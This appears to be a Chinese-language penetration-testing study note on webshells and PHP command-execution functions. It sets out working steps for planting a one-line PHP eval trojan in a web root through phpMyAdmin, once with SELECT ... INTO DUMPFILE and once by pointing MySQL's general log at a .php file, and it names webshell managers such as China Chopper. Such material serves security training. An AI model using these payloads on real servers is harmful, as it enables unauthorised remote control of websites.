Abstract: webshall 的原理,中国菜刀、AntSword 和 Behinder 的使用。

Table of Contents

  1. 学习目的
  2. Webshell
  3. PHP基础
    1. 执行 PHP 代码:
    2. 执行系统命令:
    3. exec()函数
    4. 反引号
  4. Shell
    1. 什么是 webshell
    2. 一句话木马介绍

学习目的

  • 熟悉 PHP 命令执行的函数
  • 理解什么是 webshell
  • 能够写出一句话木马
  • 能够利用大马
  • 熟练中国菜刀的使用
  • 理解 webshell 的变形

Webshell

Phpmyadmin

​ getshell 一般情况下,两种操作方式

SQL 语句 into outfile

1
SELECT "123" INTO DUMPFILE "绝对路径"; # 直接写文件
1
SELECT "<?php @eval($_POST['pass'])?>" INTO DUMPFILE "C:/phpStudy/PHPTutorial/www/a.php";

--secure-file-priv option

源代码拷贝到网站根目录中,之后修改权限

1
chown -R apache: apache /var/www/html

一定要弄清楚权限

php 代码 apache用户

数据库操作 SQL 语句 mysql 用户

mysql 日志写 webshell

mysql 每执行一个 sql 语句,就会把 sql 语句写入到文件日志中,但默认情况下,这个选项是关闭的,因此需要去开启这个选项,再设置日志路径,日志路径设置为网站目录,日志文件名字为 .php 结尾的文件

general log OFF -> ON 打开日志功能

1
2
3
SHOW MASTER LOGS;
SET GLOBAL general_log = 'ON'
SET GLOBAL general_log_file = 'C:/phpStudy/PHPTutorial/WWW/404.php'

执行任意 sql 语句,就能把内容存到 .php 结尾的文件中

1
SELECT "<?php @eval($_POST["pass"])?>"

除了 <?php ?> 其他均解析为 html

php 的短标签:

  • <% %>

PHP基础

执行 PHP 代码:

​ eval(), assert()

执行系统命令:

* system() 输出并返回最后一行 shell 结果
* exec() 不输出结果,返回最后一行 shell 结果,所有结果可以保存一个返回的数组里面
* passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上
* popen()
* shell_exec()
* proc_open()
* pcntl_exec()

反引号 ` 这个实际上使用的是 shell_exec

exec()函数

exec函数,执行外部程序,不直接显示输出,只显示最后一行结果,一般把结果输出到数组中保存。

1
2
3
4
<?php
echo exec("ipconfig", $output);l
echo $output[1];
?>

反引号

执行外部程序,不直接显示输出,与 shell_exec() 函数等同

1
2
3
4
5
<?php

echo `ipconfig`;

?>

更多函数

Shell

shell 是系统的用户界面,提供了用户与内核进行交互操作的一种接口。

什么是 webshell

黑客在入侵了一个网站后,通常会留下一个 asp、aspx、jsp、php 等脚本后门文件与网站 web 服务器进行交互,得到了一个命令执行环境,以达到控制网站服务器的目的,这个后门文件就是所谓的 webshell。

一句话木马介绍

一句话木马是 webshell 的一种,由与这类 webshell 代码比较少,往往只有一行代码,所以就被称为一句话木马。

一句话木马虽然代码简单,但结合中国菜刀等 webshell 管理工具,它们的功能确实非常强大的。